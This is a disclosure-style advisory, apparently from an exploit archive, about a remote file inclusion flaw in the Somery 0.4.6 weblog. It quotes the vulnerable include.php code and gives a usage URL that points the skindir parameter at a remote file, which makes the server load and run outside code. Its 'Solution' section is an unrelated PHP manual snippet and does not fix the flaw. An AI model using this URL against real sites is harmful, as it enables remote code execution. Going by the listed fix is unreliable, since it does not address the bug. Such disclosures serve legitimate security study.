Somery 0.4.6 - 'skin_dir' Remote File Inclusion

                							

                Update:
16:01 09/08/06

Subject:
"Somery 0.4(skin_dir)Remote File Inclusion Exploit"

Vulnerable version:
 Somery 0.4.6

Operating System:
- All OS

Vendor URL:
Robin de Graaf - voh@hostvoh.net
Somery website - http://somery.danwa.net

Description:
Somery, also known as the Somery weblogging system.

Vulnerability:
An error accoured when sending a specified string code at include function
Varibale scope at the line for request was not except how they handle failure.include() does not behave this way, the script will continue

regardless.include() produces a Warning while require() results in a Fatal Error.
see vulnerability script;

// upload/admin/system/include.php

if ($start) {
       include("../config.php");
       include("cookies.php");
       include("system/error.php");
       include("system/functions.php");
       include("system/authorization.php");
       include("$skindir/header.php"); // is invalid code
} else {
       if (!$checkauth) {
               $login = TRUE;
               include("login.php");
       }
       include("$skindir/footer.php"); // is invalid code
}

Exploit:
//          =============XCRIME-CYBER============
//          Somery 0.4(skin_dir)Remote File Inclusion Exploit
//          ======================================
//                              basher13 - Infam0us Gr0up
Usage:
http://[domain]/[path]/upload/admin/system/include.php?skindir=http://[url_inclusion_exploit]

Solution:
PHP Manual(PHP 3, PHP 4, PHP 5)
Defined --  Checks whether a given named constant exists
<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'CONSTANT' is the name of a constant named CONSTANT */
if (defined('CONSTANT')) {
   echo CONSTANT;
}
?>

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

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